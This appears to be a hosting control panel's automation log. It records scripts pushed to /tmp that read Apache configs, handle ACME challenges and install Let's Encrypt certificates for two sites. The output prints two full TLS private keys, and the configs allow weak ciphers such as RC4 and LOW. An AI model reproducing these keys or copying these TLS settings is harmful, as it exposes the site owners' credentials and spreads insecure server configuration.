        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dalmenynaroomabushwalkers/www_access.log combined
    ErrorLog	/var/log/apache2/dalmenynaroomabushwalkers/www_error.log
    SetEnv pkp_uid	47
    SetEnv pkp_owner	dalmeny
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dalmenynaroomabushwalkers.info
    ServerAlias	www.dalmenynaroomabushwalkers.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt
    DocumentRoot	/var/www/dalmenynaroomabushwalkers_www
    <Directory /var/www/dalmenynaroomabushwalkers_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dalmenynaroomabushwalkers/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dalmenynaroomabushwalkers/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-11 20:47:19: 

PUT: /tmp/pkp590065

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-11 20:47:19: 

chmod 755 /tmp/pkp590065; /tmp/pkp590065; rm /tmp/pkp590065

2025-10-11 20:47:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt	5437
85:26:d0:ea:d1:70:ea:c9:4c:c7:cb:4d:f9:e0:c8:e0

-----BEGIN CERTIFICATE-----
MIIFPDCCBCSgAwIBAgISBZTibAGyGEICa7vlq+++PN/uMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDExMTk0ODQ3WhcNMjYwMTA5MTk0ODQ2WjApMScwJQYDVQQD
Ex5kYWxtZW55bmFyb29tYWJ1c2h3YWxrZXJzLmluZm8wggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQC35NT4lAURFAa5DfMdDvT8VhHm0vyt03Vn5dLkEJae
fO3UFthWGFiGPhtLPc5vxhFH988G7LkMZKjCrf9r6Nbgua+3Jy19nkBYR5nsvtFr
8ci/QZMND3m8WahG3+m0yFWUZgv/10W5h/LJAa0iDUB3mS86d0XmIG89/TE2UmtO
khGOJ5Xxk6kGwTXWt45KNWDGXgRoc6BGugrBQVOFStr70lawAEZxZRMSD/lI/I7M
v9pnWhx/x2SROZdisXa5ZuA+SXoj6nzzpQzcQWisewNtX2eDNArI44RamnFB4xoj
svXZAtzY6D5RLNsg0KZ+jfwQBOOk/oonutyjvDBVbSVBAgMBAAGjggJSMIICTjAO
BgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwG
A1UdEwEB/wQCMAAwHQYDVR0OBBYEFOCXiSqrAUpXgFpnd5H+bPStqW1/MB8GA1Ud
IwQYMBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggr
BgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wTQYDVR0RBEYwRIIeZGFs
bWVueW5hcm9vbWFidXNod2Fsa2Vycy5pbmZvgiJ3d3cuZGFsbWVueW5hcm9vbWFi
dXNod2Fsa2Vycy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTExLmNybDCCAQMGCisGAQQB
1nkCBAIEgfQEgfEA7wB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjn
AAABmdUHHu0AAAQDAEcwRQIhAMLrreAyBPUKBKusa39sFmcuIxsSaGMO6q7tzjQs
9yFbAiBvn1pjXgHg2I+X6XnW6QxNhaxXfAPxcrKuXDVdEcTpuQB1AA5XlLzzrqk+
MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmdUHHt4AAAQDAEYwRAIgLDxQrtdE
8JtQL4cLOfuREwW0gg0yNQLNMxK7IaP+PSACIFxQ/uykAN0iJl5O1Zl2eFZCFQyZ
dZcxB+IooO2F7E9oMA0GCSqGSIb3DQEBCwUAA4IBAQBhQeV2VbEMThx0PlU0mqNW
EDVv6VNNYQTJmvwVf5aUfziXmmkmEA2sKwjGXwY1cuSbf/xPblul9WPTIImpb7Lz
POffRoFqJ9f38qdpmYu31HbB6xPTJSDaMxWKWNEAMt055EkDlxVwupsBZLdKx5Vg
pMtWh+IkYQxwk1m7nwhzvg/VyzgSWkIGNKViM/O3qTjGWhD8rv+5KGogyJVBS0pI
MzydEkqbBYAmDkoDeuSBijklWFqnVlOFPY7hMUnRYu3on1hJ/VbXwKQGQQZn8X8Z
XVZ2WBecqHnNMisAUfgjdlzggkUoHuz9yoSIqwic/YutzsYCWBV0Fn5IaFAn5Vdl
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC35NT4lAURFAa5
DfMdDvT8VhHm0vyt03Vn5dLkEJaefO3UFthWGFiGPhtLPc5vxhFH988G7LkMZKjC
rf9r6Nbgua+3Jy19nkBYR5nsvtFr8ci/QZMND3m8WahG3+m0yFWUZgv/10W5h/LJ
Aa0iDUB3mS86d0XmIG89/TE2UmtOkhGOJ5Xxk6kGwTXWt45KNWDGXgRoc6BGugrB
QVOFStr70lawAEZxZRMSD/lI/I7Mv9pnWhx/x2SROZdisXa5ZuA+SXoj6nzzpQzc
QWisewNtX2eDNArI44RamnFB4xojsvXZAtzY6D5RLNsg0KZ+jfwQBOOk/oonutyj
vDBVbSVBAgMBAAECggEAYUvmztrqT13sLK9PyTknr/cOI7XQUVxHi0BTM63/Mz3g
S84Gio75D5X+tPGvrv36GLzpwb0wL3l2vQJ42SxpvJ8idGJ7NDKt0seXjmZrwZQ8
5cyZNFjSzTAW0+EW8zrn5MuVX7kTwBVJBMcpRpICYQUgsut2hUr18LNs/VPgSMIk
asDT1gQ+u9ZwpmqeUMGkPN7w0jdDVPkdU3OWx7nB1jywiwpQTa3QWV/BR0RvlkYQ
emiYpptZL/zVsi11uFvIdd2D9EkaeHsbLoPQry06mhMucAVCwpn3mEsQX1U72hC7
YNFqQAzRh1K8dub5a8nbdz77Dn6Mu12ohIUXsSqBPQKBgQDfeDZtMGMPM+61Ztnq
gTTs4s4JsLWfBamJJWyPwJgpiNHbLZOCmHM+E8ej4gel6Whv9v8YbXcMsjxO/br3
n+t49owCaBHWleE2hh0++CSnD9MHVBGQonZ0XwAGlms4+oG1vGoKwLSbQwnujR9w
aWhr8UY9wBlcSYtpdzczdVfWwwKBgQDSqcvfGsXLj6T/ZpdIheoJ1ofHgHdcoTzJ
ToLhQq6mjVy0AUU/4RRl9DgOl9r3rZMm9Mu261rG1w17qwomffVzVOWBlX30FqgW
b+ZnauxLDOg8kz+Lhd+XSynHdjgAeCXGM8IqAYdLhfF17hHZqnwaTdB9eDU8rbMI
/hlb8xt7qwKBgQDXY2eaIFwqKBT5VTPOulCHzidm4aJ8rpl0rdSQTcKbrdsPVUNr
SYMyHyB6Tf6vJGRcHoZLRh7L5vMH87kEuWfdhEz4eNRQrs+OnP+NVOEHANKWqqnv
bRedHH/K2appFdJ1ly/iQ1EQoTHucqkN0Rsrhzb7h68p61zq/1P+TiimvwKBgFTv
PpJSIgNDg/uxKjeEPmr/Arlt0zIWlAJ51AzsLKxb/E9a38e0gNvmTh+cHB2V7ula
8zNpyqy2keoVeL8yM57vUKUhV6ns5JI/RX7WvjQ4HP4nRAyFyjMei9aulD+kMV6r
CZKUES9i7opklO/Ua7rTOscLizNOuQtcH29SIfeHAoGACzZkz9A49ITpCwtu8I6h
MH788NGNqFJ1FubjS3ybgnXwGI09PLsVhEUT/kcjZXvU2Vq6bCQn18sorfdtUuKf
mGhM69lFFPw0ixHtcnz7NTQApD9mqIORZyWW5/FcoIe36wVzEEDb+qOQ6h+19Yfa
/th9Vxh5Ro/rhwNrWq2pS64=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-11 20:48:05: Establishing a connection
2025-10-12 06:00:03: Establishing a connection
2025-10-12 06:00:04: Establishing a connection
2025-10-12 06:00:05: 

PUT: /tmp/pkp688673

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-12 06:00:06: 

chmod 755 /tmp/pkp688673; /tmp/pkp688673; rm /tmp/pkp688673

2025-10-12 06:00:06: 


0


2025-10-13 06:00:02: Establishing a connection
2025-10-13 06:00:03: Establishing a connection
2025-10-13 06:00:04: 

PUT: /tmp/pkp991028

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-13 06:00:05: 

chmod 755 /tmp/pkp991028; /tmp/pkp991028; rm /tmp/pkp991028

2025-10-13 06:00:05: 


0


2025-10-14 06:00:01: Establishing a connection
2025-10-14 06:00:03: Establishing a connection
2025-10-14 06:00:04: 

PUT: /tmp/pkp750304

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-14 06:00:05: 

chmod 755 /tmp/pkp750304; /tmp/pkp750304; rm /tmp/pkp750304

2025-10-14 06:00:05: 


0


2025-10-15 06:00:01: Establishing a connection
2025-10-15 06:00:03: Establishing a connection
2025-10-15 06:00:04: 

PUT: /tmp/pkp355619

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-15 06:00:05: 

chmod 755 /tmp/pkp355619; /tmp/pkp355619; rm /tmp/pkp355619

2025-10-15 06:00:05: 


0


2025-10-16 06:00:03: Establishing a connection
2025-10-16 06:00:05: Establishing a connection
2025-10-16 06:00:06: 

PUT: /tmp/pkp668992

#!/bin/bash
if [ -d "/var/www/hostz_repo/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-16 06:00:07: 

chmod 755 /tmp/pkp668992; /tmp/pkp668992; rm /tmp/pkp668992

2025-10-16 06:00:08: 


1


2025-10-16 06:00:09: Establishing a connection
2025-10-16 06:00:10: 

PUT: /tmp/pkp654678

#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"
cat > nvuej9ZoTeEje8v3d6ys4DuWU7Meqm1jXOH2Ix1eE4Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
nvuej9ZoTeEje8v3d6ys4DuWU7Meqm1jXOH2Ix1eE4Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 nvuej9ZoTeEje8v3d6ys4DuWU7Meqm1jXOH2Ix1eE4Y


2025-10-16 06:00:11: 

chmod 755 /tmp/pkp654678; /tmp/pkp654678; rm /tmp/pkp654678

2025-10-16 06:00:11: 




2025-10-16 06:00:14: Establishing a connection
2025-10-16 06:00:15: 

PUT: /tmp/pkp775493

#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"
rm nvuej9ZoTeEje8v3d6ys4DuWU7Meqm1jXOH2Ix1eE4Y


2025-10-16 06:00:17: 

chmod 755 /tmp/pkp775493; /tmp/pkp775493; rm /tmp/pkp775493

2025-10-16 06:00:17: 




2025-10-16 06:00:17: Establishing a connection
2025-10-16 06:00:18: 

PUT: /tmp/pkp547250

#!/bin/bash
temp_file=$(mktemp)
TARGET=39a67d98dbcb59994bb5bd629687cb8e.crt

cat > $temp_file <<'endmsg'
1e:fb:87:41:18:01:5f:00:8b:0b:ba:59:18:6e:87:ea

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBjeDrf/o6iVPxoPvgddbmdB2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDE2MDUwMTQ0WhcNMjYwMTE0MDUwMTQzWjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJZlzsk9rIloP9BmPlYpLoTysVLqG7kfEv2CR3ZtBVlOc71tdrejC9Q+Uer9ODv2
6qiBGeTirgXea2KziuO1EsNI8oaAf9NGlbiRqdbzrnpF5nCUPiyn5yI1L417cdCB
75W2xt7YSkIBGptP7so9VjM8jNv97+cJPPmP/V4s875MV5x+miLGZscDTmqKQXqp
bnQnYCgY9dk+q3BvssxxNx5niRhbSLFfBGz/q9Mc8IHO3FKboRQ3en2YY9SSCq39
4eheSyzblDz2FelfyP2t6gtgfMZTg5ZmZOB5ChoMf8Pgf0z14REvp+Wmnf5Wedcf
9Cddpoe07mACsKZ/gtd/uDkCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUFNWD+gNGIBZgx146Ye2jGSUsFhAwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5yZXBvLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzExOS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgBkEcRs
pBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZnrmsrXAAAEAwBHMEUCIH2A
lFlwRpzZWJ9qisOXfIFwqaEG6kIgJgNwKLav/HJqAiEA72jTbJ0fxalDWwDr3Tg4
+zPhciieihyyjejH4AmvXAMAdwAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWs
YcVOIQAAAZnrmsrfAAAEAwBIMEYCIQCicKcJTSkatZ9VFw0RV8+uBVNvI3/YjHt3
Lr3ydWkhOwIhAN7VpqHgRY53tlT8vUuV8fbaSY1PDZZJOEEhD5KbDmnKMA0GCSqG
SIb3DQEBCwUAA4IBAQA5YINLRxMVwqB3AQXghGPFjv6s9j198Ak2bWkt3NEeFa/i
un3Ni/aShPdR1/owyjQDl873wudgZRvpgVY9WoCqIzXsqDI1GIn+bM0FLwc60FP0
FqxRfjjBsE9ChJZkPjDLs/iHrP6e2GQf3VqIKmv/zzi59CpKwdqMxFiPBT0jcCBW
J23Tfq3ZAZS3S8W3O9wm0XtWg2tDNNxB7d+IhwAu6V7s+eqarHJ16ZaW5lelYfTK
CabV8x3EU/zNFAOE2Sx1jpWr7SDVdlldpo8D0VCWfSXhfTHgveI78CTOGf5WZlSQ
aGbDsZFavy1pOyhPO87KlIMehnRXbk12NpfnYsA2
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCWZc7JPayJaD/Q
Zj5WKS6E8rFS6hu5HxL9gkd2bQVZTnO9bXa3owvUPlHq/Tg79uqogRnk4q4F3mti
s4rjtRLDSPKGgH/TRpW4kanW8656ReZwlD4sp+ciNS+Ne3HQge+Vtsbe2EpCARqb
T+7KPVYzPIzb/e/nCTz5j/1eLPO+TFecfpoixmbHA05qikF6qW50J2AoGPXZPqtw
b7LMcTceZ4kYW0ixXwRs/6vTHPCBztxSm6EUN3p9mGPUkgqt/eHoXkss25Q89hXp
X8j9reoLYHzGU4OWZmTgeQoaDH/D4H9M9eERL6flpp3+VnnXH/QnXaaHtO5gArCm
f4LXf7g5AgMBAAECggEALgOZ/8IJzsSBea4+djgFTpG+JQMRVlMmiT9Zw+bZExjI
mnUqNEcDMH2crIuqr9X8t29AT+H2oj8JldoerUpSIkNoSDR6Z1aaKi0OzIAjqq9G
ML16RElekv24vc295bBLb//K2pVMKuORk2EiSuf3PpfQ9OG9i28tI6GlQDH6pQbY
WdtjsVm0wJzuEq0DlAAGIlvefTlBItzbVI/8ripZ/hnh56opzR4y2W7UXpNVWJXx
apZyTMG65tYRky5eq8Il30ICRJYD+oerxYNu2azKURcWAA02NXfsApyyzdXmlS29
Otyc18rpeFy+Gm/lR1y8+g/OxA1BHf+NVWdw1LiZHQKBgQDEcg0EO1Gapg7M3nH+
d10AJvkdXcBDT2lw8Gn3dsK3Mzg01xTwZKt9++shq5VFCifs4iDuQ5mTICb8d1iQ
RuCmZT4SZX9CRl3Ge1C9WYynlAPpX1bHCwt9IgLpw5VBD955sxeYW2tq/hq2BKoo
JQ+XcoClsP9PQJIcNNKArgGdzwKBgQDD/gdxWrCpoITIO5uSWX8kNQZQQkY7KUxi
dPLvXC4LXyc1fcDXs8xiQC9d2KGGXcGK6h3RGMCitQ2116o9+QxiWHiq/RuiEm61
yL5JaJzZPQ9yTqzitdfuQubey6/9qi+FE4gBYstIPQwfpt0OW1WfBe0x0QCNMbBM
RS8k3KcTdwKBgH2lKNglDJuqTFsSh7ynIa+gPcNfnEIw/5LB4jTqG75LH08Ephrf
eKRaxVhCw3Vl+oVTWJasXASzEtx1hQq6mqMyrBHeIxgDo6T4aHrDVOg2Do5scTdb
xBxj7ZMQil0Txkr2lkfXaQwEvJbgwuhsU92c2dWgMJvDA/DQhDbTlKsXAoGBALkE
VqxYa4tF3/NR6fPHDrH0aGhdmAUDYHtVYXw6LbFIezAQ7Xny3o8lflF+TkUUvr9P
cSRR1JAEkNPHqotkTp+MWyU3WN2vvtlWjuOnoOGmta03vhcqiJQAjgdmi1XQUZmz
rWF5jOM91fMPR4DlEbfUFW1Amt+vN3lYmj+XGRXTAoGAAUFeG+uDl5xkiAvGiMFN
xVMsy2u4AsiNn14y8Ob+RBUItDGrB+zR1AjzeMqKPwHAzrPhZPJqAPz70MriI9Qb
LOQq0+nnpb98D1sGucHsNQWioKUsHOzxd960Aw9lp+XLiJpf87g9bl/hfwFt5P7P
8NJgaatr44I4b5p8AmWaYN4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-16 06:00:19: 

chmod 755 /tmp/pkp547250; /tmp/pkp547250; rm /tmp/pkp547250

2025-10-16 06:00:19: 


dir=/etc/pki/tls/certs/


2025-10-16 06:00:19: 

PUT: /tmp/pkp443499

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/hostz_repo_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-16 06:00:20: 

chmod 755 /tmp/pkp443499; /tmp/pkp443499; rm /tmp/pkp443499

2025-10-16 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf 1840

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-16 06:00:20: 

PUT: /tmp/pkp101623

